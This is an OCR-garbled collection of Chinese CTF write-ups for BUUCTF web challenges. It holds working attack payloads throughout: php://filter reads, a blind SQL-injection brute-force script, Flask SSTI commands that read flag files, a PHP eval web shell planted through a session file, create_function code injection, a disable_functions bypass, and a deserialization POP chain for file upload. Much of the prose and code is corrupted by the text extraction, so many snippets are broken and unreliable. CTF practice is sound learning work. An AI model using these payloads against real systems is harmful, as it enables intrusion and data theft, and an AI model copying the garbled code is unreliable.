TEjson, \uxxxx W] LAEE SCEFRF, BN \ueeses A £ (i & unicodedmfy)
I B 3 75 ZE Oy B R G B¢/ FY) 1E 0 DL i

{"page":"php://filter/convert.base64-encode/resource=/flag"}

% UG & & payload A

{"page":"\ub070\ud068\UB0O70://filter/convert.baseb4-encode/resource=/\u0066\u006c\u0061\u0067"}




€ 54f032c7-4cab-47db-ba26-12523765c90c.noded.buuoj.cn/query.php Bl c &

INT ~ = & SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCF

@ Load URL fhttp:jj54f032c?—4ca6—47db—ba26—12523765(90(.node4.buu0j.cnfquery.php
0

% split URL
e Execute

Postdata [ ] Referrer @ OxHEX » &% %URL ™»  @% BASE6G4 ™ Insert string to replace
Post data - page""\u0070\u0068\u0070:/ filter/convert.base64-encode/resource=/\u0066\u006C\U0061\u0067"

{"content":"ZmxhZ3tiIN2Y2MTU2NCOWMDk2LTQ20TQtYThiNi11ZDgyYzkzY2lyZTd9Cg=="

[b01lers2020]Welcome to Earth

Bt 4EE, BAERBH—E
A, R /chase/, FHEEIE, HEFjsXMH, AKX A/leftt/,/shoot/,/door/,/open, /fight/
&5 RILELF Hiflag

function check action() |
var action = document. setElementById("action”). value:

i

i L i L i i i - o o o o o o oo o
var flas = ["they”, " boy”, Taaaa”, "= im”, “ck!}”, 7 _baa”, Taaaa”, “peotf”];

itertools import permutations
["{hey", " _boy", "aaaa", "s_im", "ck!}", " _baa", "aaaa", "pctf"]
= permutations(flag)
for i in item:
k = '"".join(list(i))
if k.startswith('pctf{') and k.endswith('}"):
print (k)

PS D:\work> python

pctf{hey boyaaaas im b k!}
pctf{hey boyaaaas imaaaa baack!}
pctf{hey boyaaaa baas imaaaack!}
pctf{hey boyaaaa baaaaaas imck!}
pctf{hey boyaaaaaaaas im baack!}
pctf{hey boyaaaaaaaa baas imck!}
pctf{hey boys imaaaa b kl}
pctf{hey boys im baack!}
pctf{hey boys im baaaaaz kl}
pctf{hey boys im baaaaaaaaaack!}
pctf{hey boys imaaaaaaaa baack!}




[NCTF2019]SQLi

robots.txt# A& hint.txt

$black_list = "/limit|by|substr|mid|, |admin|benchmark|like|or|char|union|substring|select|greatest|%00|\"|=|
I\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

NME

If $ POST['passwd'] === admin's password,

Then you will get the flag;

username th 7] LA \ k% LB 5|5, passwdilBEATVEN, F %00 BMRAHERE

FIh 476 welcome.php

Burp Intruder Repeater Window Help

E’| Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn — O >

[Target I Proxy I Spider [ Scanner [ Intruder I Repeater [ Sequencer I Decoder I Comparer I Extender I Project options I User options IAIerts ]

1= |2« | .

Go Cancel < | >|v Follow redirection

Request

Target: http://74d39d0e-685b-4fe5-aa73-b4bdc118afbf.noded.buuoj.cn | # || 7

sponse
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]
POST /indexphp HTTP/1.1 A HTTP/1.1 302 Found [a
Host: 74d99d0e-685b-4fe5-aa7 3-kdibdcl18aflf. noded buuoj.cn i Server: openresty i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wined; x64; r:90.0) Gecko/20100101 Date: Thu, 29 Jul 2021 11:03:28 GMT
Firefox/90.0 Content-Type: text/htrml
Accept: tedt/html application/«htrml+=ml.application/~«ml;q=0.9.image/wabp*/*; Content-Length: 2230
Accept-Language: zh-CMN,zh;q=08zh-TW;q=0.7,zh-HK:q=05.en-US;q=03.en;q= 02 Connection: close
Content-Type: application/x-www-form-urlencoded Cocation. welcorne.php |
Content-Length: 29 ¥-Powered-By: PHP/5.2.16
Qrigin: http://74d99d0e-685b-4fe5-aa73-bdbdc18afbf noded. buugj.cn
Connection: close <IDOCTYP J
Referer: http://74d99¢c0e-685b-4fe5-aa73-bdbdcl18afbf noded buuoj.cn/ <htrnl lang="en">
Upgrade-Insecure-Requests: | <head>
<title> HE—TERIE < /title>
username='&passwd=| I_:%Oq <meta charset="UTF-8">»
<meta name="y width=device-width. initial-scale=1">
<link rel="stylesheet" type="text/css
href="fonts/font-awesome-4.7.0/css/font-awesome.min.css"»
<link rel="stylesheet" type="text/css" href="css/util.css">
<link rel="stylesheet" type="text/css" href="css/main.css">
</head>
<body>
<div dass="dowebok liniter">
<div class="container-login100" style="background-image:
url('images/img-01jpg’)">
e <div class="wrap-login100 p-t-190 p-b-30"> -
| < Fmirimn —Mm maiam 1O Fmirimm o lidl adm Fmvimn ! imm bl m A TCT |
liJ [LJ [LJ [LJ 0 matches uJ [LJ u [LJ Type a searct 0 matches
Done 2,423 bytes | 34 wﬁ
BEFEEN, FElregexpiEA

passwd regexp "~y";

R ILACpasswdF B HITF Ay IF4F, MRILEYXANF4F, Bk e E




import requests
from urllib import parse
import string

import time

string.ascii_lowercase + string.digits + ' '

url = "http://74d99d0e-685b-4fe5-aa73-b4b4cl18atbf.node4.buuoj.cn/"
flag = '
payload =

"username":"\\",

for i in range(1,60):
for j in x:
payload["passwd"] = '||/**/passwd/**/regexp/**/"~{}";{}'.format(list+j,parse.unquote('%00"))
r = requests.post(url=url,data=payload)
time.sleep(0.03)
if 'welcome' in r.text:
list = list + j
print(list)

break

SR P B AN e R P 42 B B B T 48 Bllflag

‘ Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn - O bed
Burp Intruder Repeater Window Help

[Target I Proxy I Spider T Scanner T Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options IAIerts ]

1 2|2 = [ ...
Go Cance < | >\ Target: http://74d99d0e-685b-4fe5-aa73-b4bdc118afbf.noded.buuoj.cn | & || 7

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /index.php HTTP/1.1

A HTTR/1.1 200 OK A
Host: 74d99c0e-685b-4fe5-aa73-bdbdcl18aflf noded buuoj.cn r Server: openresty M
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64; re90.0) Gecko/20100101 Date: Thu, 29 Jul 2021 10:54:13 GMT
Firefo:x/90.0 Content-Type: text/htrnl
Accept: text/html application/xhtrl+xml.application/=ml;q=09image/webp*/*q=038 Content-Length: 2367
Accept-Language: =h-CM.zh;q=08=h-TW.q=07.zh-HK:q=05.en-US:q=03,en:q=0.2 Connection: close
Content-Type: application/s-www-form-urlencoded *-Powered-By: PHP/5.2.16
Content-Length: 51
Origin: http://74d99¢c0e-685b-4fe5-aa73-bdbdcl18afbf noded.buuoj.cn flag{224c68ed-907 e-43f6-9d44-aafa2315b3bc] < script > alert("try to make the
Connection: close sqlquery have its own results") < /script> <IDOCTYPE html = B/
Referer: http://74d99¢0e-685b-4fe5-aa73-bdbdcl18afbf noded buuoj.cn/ <htrml lang="en">
Upgrade-Insecure-Requests: 1 <head>
<title» X2 EFRHE < title>
usernarme=xiaolong&passwd=you_will_never_know7788990 <rmeta charset="UTF-&">
<rneta name="viewport" content="width=device-width, initial-scale=1"»
<link rel="stylesheet" type="text/css"
href="fonts/font-awesorne-4.7.0/css/font-awesome.rmin.css" >
<link rel="stylesheet" type="text/css" href="css/util.css" >
<link rel="stylesheet" type="text/css" href="css/main.css">
</head>
<body>
<div class="dowebok limiter":
<div class="container-login100" style="background-image:
urli'irnages/img-01jpg);">
b' <div class="wrap-login100 p-t-190 p-b-30"> "
i 1O Fmee imliol b Frmn ! bl A TTOVCT
0 matches 0 matches

2,534 bytes | 73 n

[watevrCTF-2019]Cookie Store




R AR, EIEMASE, Phi&cookieRIH]
¥ Lflag cookiedf, &K Ilcookie/s MfifIbase64 4l
RIS JE RINEH, BUN1000, #i#Fcookie, forwardfdZflag

[WUSTCTF2020]CV Maker

a7 B ST B A
FEM—T, BRERIATU LA
BEME BB D, U6, Haiphp/E4R, XHkin LGIF89A, RIL ALy, BRAERFEM IR+

WUSTERS

Demea DEste Nms (Jemess QOum Ore B oz  oEskhe 8 oEes

+ 2 TimEss thov s + 4
r<a href="4"> ATEO{
: :before 1
¥ <img src="uploads/d41d8cd987Bab264e9800998ecfB427e.php” alt="Image"> .cc-profile-image img £} { main
: :before position: relative;
</img> border-radius: b 5e%;

<far height: 180px;
o width- 120nv-

W SER, &Zflag

[RootersCTF2019]l_e [_Flask

R H iR Falsk, KR RsstiT, HEESH

AU T HaqunBH 5%, EXTAE. BEPLREEHA. .

MR M ZHE, MZAMESsHEBRISERE name=, KT —FRIVEARBRRX
Hptir T, SEEHBEIIE, HE—ER

.__globals_ [%27__builtins__ %27][%27eval%27]("__import__ (%270s%27) .popen(%27cat%20flag.txt%27).re

[CISCN2019 4 7< B 3% X ]Double Secret



robotsttEE—TF, &R, R T T /secret, KI Tell me your secret.I will encrypt it so others can't see, IXHEH]
D& H &7 RS AEN secret , emmmRIERAZBEE]

WMARBESMERRE, T —FEH2KN, BRZREEILR—E, SRHDTREST

7 H F R fask, BRXEssti T

EIREE R IR FE, frcd, [FBIHEE T A4

XgEFr T, MW ERArcdnFHE A, 0% B H payload B AT

RT¥R, RUHCHROPWALSEEMEE, HEERHTwpHK. . « KET

import base64

from urllib import parse

def rc4_main(key = "init_key", message = "init_message") :#R[EN%E FHHE
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))

return crypt

rc4_init_sbox(key):
s_box = list(range(256))
j=20
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[1i], s_box[j] = s_box[j], s_box[i]
return s_box
rc4_excrypt(plain, box):
=[]
=0

J
s in plain:
i=(i+1) % 256
J

(j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
= box[t]
res.append(chr(ord(s) ~ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8"))

key = "HereIsTreasure" #IAbNEC

message = input("EHIABH:\n")

enc_base64 = rc4_main( key , message )
str(base64.b64decode(enc_base64), 'utf-8")

enc_url = parse.quote(enc_init)

print("rc4in® )5 Murlgmid: "+enc_url)

Hprint ("rc4inE 5 Fbase644wtE " +enc_base64)

{{url_for._ globals_['_builtins_ ']J['eval']("__import__ ('os').popen('cat /flag.txt').read()")}}

. %14LG%C2%A68%0ODay%C3%93%C3%A7%2C%C2%B9%C2%BEK%C3%BI%C2%AAS%C2%IF G%OB%C2%881%C2%A7M5%C2%93 - %C2%80%5E%C3%98%3B%C3%
A9%3E%C2%BAr%C2%915%C3%8A0%C3%AIM%C3%9B%C2%81%C2%A5PF%C3%BF%25%C2%9A%C2%B4AK%7Cm%C3%B9%3ES%C2%A8WHAOF%C3%8B%C2%AA%
ODX%C2%BB%C2%84%16%C2%AALA%OCP%C3%AAN%C3%8Fy%C2%AF z%C2%9F 1%5Ep%22%5D%C2%9B%C2%91%12%C3%B6%C2%AA4%C2%A3%C3%86%C3%A
A%C3%89%C2%AFb%01%C2%85%C2%9A




&« C ] A =2 | Ta054ccc-1419-43e1-9ada-1471c914edcd.noded buuoj.cn/secret?secret=%14LG|8%0DayOc%2C Y125 GHOBEIEMS § - HI5SEDW3BE> T4)... e

() BRI ( - ). W EE— N, GEAE [ BugkuCTF-#3Fs £ cfshow AcFUndEaSAM .. §j, xiaolong'sblog W FHTE -BugkuC.. (@ CTFEETE-CTFT.. U7 BUUCTF

'read’ is not allowed. Secret is flag{7269467d-c8b6-4757-9d75-329a5dca8hb40}

[BJDCTF2020]EzPHP

B E M IR & Bbase32, f#IS3%]1nD3x.php



<?php
highlight file(_ FILE );
error_reporting(0);

"1nD3x.php";
= $ GET['shana'];
= $ GET['passwd'];

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good
Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqual|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|
sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct]|ech
o|print|pi|\.|\"|\'|log/i"', $_SERVER['QUERY_STRING'])
)

die('You seem to want to do something bad?');

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/”~aqua_is_cute$/"', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";

}

} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i"', $value))
die('fxck you! I hate English!');

if (file_get contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

if ( shal($shana) === shal($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know shal! why you come here!");

if(preg_match('/~[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass]|eval|sort|shell|ob|start|mail|\"|\{|\%|x|\&]|\$|\*|\]]\

<|\"|\"|\=|\?|sou|show]|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arralhead|light|print|echo|read
|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|[\*/i", $arg) ) {

die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {

include "flag.php";

$code('", $%arg);
} o>




XEEMIREIRE, NRREYIngIFiHE KR
B %% $_SERVER[ 'QUERY_STRING'] , ‘BIF A urf@id, FrbllurlgmidRlnrgeid
G RIXA

if (!preg_match('/http|https/i', $ GET['file'])) {
if (preg _match('/”aqua_is cute$/', $ GET['debu']) & & $ GET['debu'] !== 'aqua_is cute') {
$file = $_GET["file"];

echo "Neeeeee! Good Job!<br>";

}
} else die('fxck you! What do you want to do ?!');

IENA Y %e0a Soid, $filellF 5 X )

if (file_get_contents($file) !== 'debu_debu_aqua')

4 file ] Lhdatath il 5 N EE
A payload A

2%66%69%6C%65=%64%61%74%61%3a%21%21%74%65%78%74%21%70%6C%61%69%6€%2C%64%65%62%75%5F%64%65%62%75%51%61%71%75%61 &%
647%65%62%75=%61%71%75%61%5F%69%73%51%63%75%74%65%0a

ur RS 5T

?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute

BRERXA

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i", $value))
die('fxck you! I hate English!');

$_REQUEST FJ LAt GETFIPOSTHIZ 4, (EX} $_REQUEST Kii, POSTHILEZ = TGET, WRMHM F XER &R —/NE&E,
LR ABWPOSTHIME, FrbliX B R ZPOSTRE 444N Jo B B Af

file=1&debu=1

BT REIXA sha1tbf: 8, HHSTRIT]
W5 — PR R

if(preg_match('/~[a-z0-9]*$/isD', $code) ||

preg match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass]|eval|sort|shell|ob|start|mail|\" |\{|\%|x|\&]|\$|\*|\]|]\
<|\"|\"|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arralhead|light|print|echo|read
|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|[\*/i", $arg) ) {

die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {

include "flag.php";

$code('", $arg);

K NZ HIH extract($_GET["flag"]); ,» FILLHATREE %, EH $code 1 garg
ix B2 H 3 R create_function()IASISTEA



create function('$a’', 'echo $a."123""')

ESVER

function f($a) {
echo $a."123";

RS —ANSHE N echo 1;}phpinfo();/

function f($a) {

echo 1;}phpinfo();//
¥
M ATphpinfo () fr4

T, " LA get defined vars() Sk#i B A2 B AME

e get_defined_vars() & 5 1 fi B 52 X4 B BT LR I 404

flag[code]=create_function&flag[arg]=}var_dump(get_defined vars());//

["fffEf£Ff11111114gggeg”1=>
string(89) “Baka, do you think it’s so easy to get my flag? I hid the real flag in realfl4g. php 23333”
}

RBflag Xt reaiflag.php » Frequireft&include, #R)5E T get_defined vars() L
#& }require(base64_decode (cmVhMWZsNGcucGhw) ) ;var_dump(get_defined_vars());//
RMfEbuu LAT A, R —AMfake_flag

["fffFffff11111114ggggg”1=>

string(89) "Baka, do you think it’s so easy to get my flag? I hid the real flag in realfl4g. php 23333”
["fike flag”]=>

string(28) “BJD{lam a fake f41111g23333}”

RSB AIE T
AR AP T AT, AR At FH H + Dy ip 13U B A

}require(php://filter/convert.base64-encode/resource=realfldg.php);//

= 'php://filter/convert.base64-encode/resource=realfldg.php’;
echo urlencode(~$payload);

?>

B % ¥payload i

?7%66%69%6C%65=%64%61%74%61%3a%2F%21%74%65%78%74%21%70%6 C%61%69%66e%2 C%64%65%62%75%51%64%65%62%75%51%61%71%75%618&%
647%65%62%75=%61%71%75%61%51%69%73%51%63%75%74%65%0a&%73%68%61%6e%61 [ 1=1&%70%61%73%73%77%64[ 1=28&%66%6C%61%67%5b%6
3%6T%64%65%5d=%63%72%65%61%74%65%5F%66%75%6€%63%74%69%61%6e8%66%6 C%61%67%5b%61%72%67%5d=}require (~%8F%97%8F%C5%D|

0%D0%99%96%93%8B%9A%8D%D0%9C%90%917%89%9A%8D%8B%D1%9D%IE%8C%IAK%CI%CB%D2%9A%91%9C%90%9B%IA%DO%8D%IA%BC%I0%8A%8D%9C
69A%C2%8D%IA%IEKCEK99%93%CB%O8%D1%8F%O7%8F ) 5 //




flagsfiftixXE, {REZZIE

15? PGhObWw+DQo8aGVhZDANCjxtZXRhIGNoYXJzZXQ9INVOZi04ljANCjxtZXRhIGhOdHAZXF1aXY9llgtVUEtQ29tcGF0aWIsZSIgY29udGVudDOiSUU9IZWRNZSI + DQo8bWV(
/kul3ku6PooajkvaDlsLHog73mi7
/iLBmbGFn5Z0m77yBljsNCgkkZjRrZVOmbGFnIDOgIkJKRHsxYW1fYVIMYWtIX2YOMTEXMWcyMzMzM30iOwOKCSRYyZWEXX2YxMTEOZyA9ICImbGFnezgdN2YwMDhhLTcOY:

RS P AT & Blflag

<html>
<head>
<{meta charset="utf-8">
<meta http—equiv="X-UA-Compatible” content="IE=edge”>
{meta name= viewport” content="width=device-width, initial-scale=1, maximum-scale=1, user—scalable=no™>
<title*Real_Flag In Here!!!</title>
</head>
</html>
{?php
echo "B, REMAMIET? | ATFI XA EBARRFHEEZSflagH! 7
$fdke flag = "BJD{lam_a_fake f41111g23333}":
$real fllldg = "flag({887f008a-T4cf-4991-92ba-T2c6829c981} " :
unset ($real fllldg):

RIS EE T At A —F 5 EAMT, B Aunset T

BH2MIAREE, 172 define+fopen ()+fgets ()

}define(abc, fopen (~(%8D%9A%IEHCE%O9%93%CB%I8%D1%8F%97%8F ) ,r));while(!feof(abc))var_dump(fgets(abc));fclose(abc);

//

string(47) ©  $fdke flag = "BjD{lam a fake f41111g23333}":
string(63) ©~  $real fllld4g = "flag{887f008a—74cf-4991-92ba—72c6829c98e1} ”;

string(23) ©~  unset ($real fl114g);

AN PR BRAE

HRTE url I E xiaolong=php://filter/convert.base64-encode/resource=realfldg.php , ZJ& get_defined vars() 7§
BlZ4HH, pos() MAIMIBEERMENTRERI—NY, £ end() BEE—NUEBRBE T RIR url 5T I _E K php
Pl

flag[arg]=}var_dump(require(end(pos(get_defined_vars()))));//&xiaolong=php://filter/convert.base64-encode/resoun

ce=realfl4g.php

FAIE I ZwWpH T R, BAGIR T HRA KBbuu EiXEbanT ~, BERE

[GYCTF2020]EasyT hinking

FE B H MiZ & Fthinkphp, GiREEFRIRAEAS, FRwww.zipiit 5 IR



& S & O & 89b4ee66-300b-48f3-92eb-fa2c340eb1b0.noded.buuoj.cn/?s=1

O xamerss @ #iFtls O =mERl @ sFes [0 8E-csoNgzE 0 aRMasiE=-Sib.
EHlER AT 1

ThinkPHP V6.0.0 { +5FE—&l- AAPIF AR TN AESS } - B

W b3 — IR, R IEE R sessionfE B ICHHAT R P B

VRIS H R IUTT R T session, FR4 Bz R E % EsessionfE B XCHHAT T
ERER AR ELATAR?

XNEZEEMAMEE T, ERIEE P HANERERBRIC, FEFX—HR
(W, EHBAE, BRBEAEW. . . )

X 3k T RE YR AL 7E app/home/controller/Member.php , —TRE R ARG

public function search()
{
if (Request::isPost()){
if (!session('?UID"))
{

return redirect('/home/member/login');

¥

$data = input("post.");
$record = session("Record");
if (!session("Record"))

{

session("Record",$data["key"]);

}

else
{
$recordArr = explode(",",$record);
$recordLen = sizeof($recordArr);
if ($recordLen >= 3){
array_shift($recordArr);
session("Record",implode(",",$recordArr) . "," . $data["key"]); J/EEXE, HEBERNAR
ST RS 8A BU SESS TONSC A4 Hr

return View::fetch("result",["res" => "There's nothing here"]);

¥

session("Record”,$record . "," . $data["key"]);

return View::fetch("result",["res" => "There's nothing here"]);
}else{

return View("search");




BEEX/NWRE, "M T
MR AL, &8k PHPSESSID AIME N 1111111111111111111111111111. php (— 33240 FFF)
ERRNEA—HIERD

<?php @eval($ POST['cmd']);?>

V5 140 T ik

http://89b4ee66-300b-48f3-92eb-fa2c940eblb0.node4.buuoj.cn:81/runtime/session/sess 1111111111111111111111111111.

php

« C O "/ 89bdee66-300b-48f3-92eb-fa2c940eb1b0.noded.buuoj.cn:81/runtime/session/sess 1111111111111111111111111111.php |
Dydiersss @ FELE O =Amr © =rem [@ &5m-csongs ) AaRNETRE -

a:2:{s:3:"UID";i:1;5:6:"Record";s:30:",";}

HEEWS|, KIfag, (HREEFEEE



@ HEus

D AFERlFE (17)
=)/

+ I var
bin
dev
etc
home
lib
media
mnt
opt
proc

root

shin

AntSword &HE B[O EE
4 == 0 117.21.200.166

4

0O 35l (20)

OFE -

DopooooooopopopoobooocC

=

+EE
£

el
home
lib
media
mnt

opt

proc
root

run

sbin

srv

Y5

tmp

usr

var
.dockerenv
flag
readflag

HIlE

Z RlER

# EEF

Rz ~

/

HHA

ZULLUETUS L2127.52
2019-10-21 20:38:09
2019-10-31 04:09:59
2019-10-21 13:39:33
2019-10-21 13:39:33
2019-10-21 13:39:33
2021-08-04 12:27:32
2019-10-25 03:30:27
2019-10-31 04:15:24
2019-10-31 04:09:59
2019-10-21 13:39:33
2021-06-14 01:12:31
2020-02-23 16:28:29
2019-10-31 04:15:19
2019-10-31 04:15:19
2021-08-04 12:27:32
2021-08-04 12:27:36

2020-02-23 16:28:29

22b
174 b
44b
6b
6b
0b
6b
33b
130b
6b
Db
86 b
19b
39b
0b
43 b
19.4 Kb

Bt

U733
0755
0755
0755
0755
0755
0555
0700
0755
0755
0755
0555
1777
0755
0755
0755
0600
6755

FE LT disable functions

M5 R Z A2 KBk 2019]RCE MEFR & 1) b A& soSXAF i 7 AT AE, KB R T 75— R

https://github.com/mmOr1/exploits/tree/master/php7-backtrace-bypass

K H A iy 4 BN readflagf5 A%

i 718 Flflag

&~ C @

D ydieEssds @ FFklw D EERL @ wfFas [0 8m-cooNEs 0 aFREIRE-S .

flag{2d90902d-21c1-4aaf-87d9-0a5c8c617622}

[NPUCTF2020]ezinclude

A, KIhashEEFEcookiet
H #pass=hashBE ]

# A fifififlag.php, Fephpththilliz—TF

O & 89b4ee66-300b-48f3-92eb-fa2c940eb1b0.noded buuoj.cn:81/runtime/session/exploit.php



https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass

<script language="javascript" type="text/javascript">
window.location.href="404.html";

</script>
<title>this_is_not_fl4g_and_ @ A_wants_girlfriend</title>

if(preg_match('/data|input|zip/is',$file)){
die('nonono');

)
@include($file);

echo 'include($ GET["file"])';

HEFTLHEBdirphp, EHREE429. . .

dir.php®] LAF Hitmp B S #9304, BB SRR LA IR S0 T

php7 segment faultdd: 14

FPHP &% & A XX ROBIE AR, 1EPHPRE BERH, POSTHIEE U< R 8

php://filter/string.strip_tags/resource=/etc/passwd

{5 F php:/filter/string.strip_tags S Bphp ARG THIRE S, WRERN bE& T -0, BLARXANXHHc—BERBEmMpEFR
ZTVEAGE R F LA Fphp7hR A4S, phpSIFANFE7E %5 15 -

* php7.0.0-7 1. 27T AR, 7.1 2xXRAK CHBERE
* php7.1.3-72 AR AFIH, 7.2 1XRAK CHBER
* php7.2.2-7.2. 8" AR, 7.29—HF73RMEMRACHEE

A=A

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAAY TS0 0% To%T oo %]

AVAVAVAVAVAVAVAVAVIVAVAVAVAVAVAVIVAVAVAVAVAVIVAY

« php7.0.0-7.0.32
« php7.0.4-7.2.12
« php<=5.6.38 11 i 4

exp



import requests

from io import BytesIO
url="http://bd6aaact-a804-4c91-9d9e-3bbc9c307b3b.node4.buuoj.cn:81/f1flflflag.php?file=php://filter/string.strip|
tags/resource=/etc/passwd"

payload="<?php phpinfo();?>"

files={

"file":BytesIO(payload.encode())

¥

r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

Vi W dir.php BRI AT & 2l B SO 44

& - C M A ~Z% | bdéaaacf-a804-4c91-9d9e-3bbc9c307b3b.noded.buuoj.cn:81/dir.php

() BEEEHE ( C- %) d BE—F, FEAE [ BugkuCTF-&£3FE £ ctfshow ACFUnEEESIAAM -... [, xiaolong'sblog B 72

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "php5400Tz" [3]=> string(9) "phplEV3nn" }

BE—THH

A~

JEFiHsession.upload_progressi{Tsession X A5

[HFCTF2020]JustEscape(£f <)

node.js vm2yb 4H k%
EEEFidnodejs, AR

[72 M 2019]Upload

FEERERNSEMSG, BEANEZARIXE
cookie 1 R MLt lbase64 4wt I EHE, fB% 5 N FFEEE, B kF5ib
H# LR Blwww.tar.gz, EE RS A &



— o

[as)

 EERREAER login_check BEIGEREE
 EEMGREAER login_check BELERSE
. BEEERT, BEER index.php/home #HT3014 &2/

BT EEIRERT, ITIERELFRY REMOTE_ADDR #47 md5S JNZEFIES upload menu , ZAE6IFELL upload menu &Y

SEENRS, PEEER index.php, #HTEMERE. login_check HREE cookie('user') IiZ5 profile, A5 baseb4 B FHIM

&, =NEEER index.php/home , BRHEHTER

, =MIEKEET index.php/home , TBRFHTERE

=]
EH

it
AEHTEMENE, ARSI BIRRIBIREE filename_tmp, BIEE(TINEER)#HT md5 IIZEERE flename
. RS TR, & filename BISEEIRES ext, A0SR ext 8 png iR[E 1, &MIERIE O

. NRESE png, WBEIFAE, AR filename R4 filename_tmp, EEFEXIEERS img, 4T update img &

9. update_img ERE[ ST user Bifl, WIR user 128 HEIERFTE img 7, WEFT user &9 img FEe, FHAAT
update_cookie EZ]
10. update_cookie HREUE EEEREY img FHATRFIMAFD baset4 fIBaMHES cookie B9 user
11. profile B9 _call 1 get @ IMEBARE, SNBSS TEERATERLEIIEEMRTESTEAR.  get EEEMN
except B, _ call RIEABSRY name B REEFTIERIIEEFTIERAIEE,
REAAKNE EHRRZRR

F—FRERG
Profile.php

public function upload_img(){ //3&A1HE 52 EHHXA R

if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER[ 'HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();

if(lempty($_FILES)){ //FE—kK hfELSRidiXHE, FEAE
$this->filename_tmp=$% FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload file']['name']).".png";
$this->ext_check();

}
if($this->ext) {

if(getimagesize($this->filename_tmp)) {
@copy ($this->filename_tmp, $this->filename); //XBEHfilename Aphp/a 4k HIiE kAL IR R A Kpng B Ap

@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();

}else{
$this->error('Forbidden type!', url('../index'));

}

}else{
$this->error('Unknow file type!', url('../index'));




public function _ get($name)
{

return $this->except[$name]; //XHE % EBexcept['index']=upload_img

}

public function _ call($name, $arguments) //iXE P AnameNindexfilifilik__ get

{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
¥

o IWFMAATVH BRI, Ba Bk getikTiiE
o TEXNZMAIATIVH R, Be B3k calBEik ik

Register.php

public function _ destruct()

{
if(!$this->registed){

$this->checker->index(); //iXHikcheckerZFProfileZkBinlfii’k  call

}

BB L RZE P Hupload_img, FIH B KcopyR#EhSXfF4, w24 Il & upload_img

popEEIR R HEF B A, $this->checher WRE AProfile X%, 4Bt AAProfilext &9 Mindex() ik, XA IETEProfiles &
PAEER, FIl&EA _ call , _ call #F XA $this->index index JBIEEProfile W R AFEER, Mtk  get 77
%, WABRATEREProfile F1# except[’index ‘] A upload_img K&, i< aIh & upload_img()

geuft, &M, WEEEEARD, BESHIEABE, BApoc



<?php
namespace app\web\controller;

class Profile

{
public $checker;
public $filename tmp;
public $filename;
public $upload menu;
public $ext;
public $img;
public $except;

public function _ get($name)
{

return $this->except[$name];

public function _ call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}} ($arguments);

class Register

{
public $checker;
public $registed;

public function _ destruct()
{
if(!$this->registed){
$this->checker->index();

$profile = new Profile();

$profile->except = ['index' => 'img'];

$profile->img = "upload_img";

$profile->ext = "png";

/ /1& sk B Ay

$profile->filename_tmp = "../public/upload/758ab@c50e4a8a37c8ff92ae62flef6a/4a47a0db6e60853dedfcfdfO@8a5ca249. png

",
k)

$profile->filename = "../public/upload/758ab0@c50e4a8a37c8ff92ae62flef6a/4a47a0db6e60853dedfcfdfO8a5ca249.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64 encode(serialize($register)));
?>

BRI cookie, RIH—T, SRIUERF S ELBINBCAphp/EER, EIERER AT




[ 5 4% 2018]Unfinish

HEEMBERE2ERHAF %, BEFNEZHAMAEEREN, FUR2KEN, EANRTEusername
RGN RFES

A~Zbb, E¥LHE

https://bloc

AEFEREE S TES, PrelHfrom for &
substr(xxx from 2 for 1)#H¥Fsubstr(xxx,2,1)

A



import requests
import time
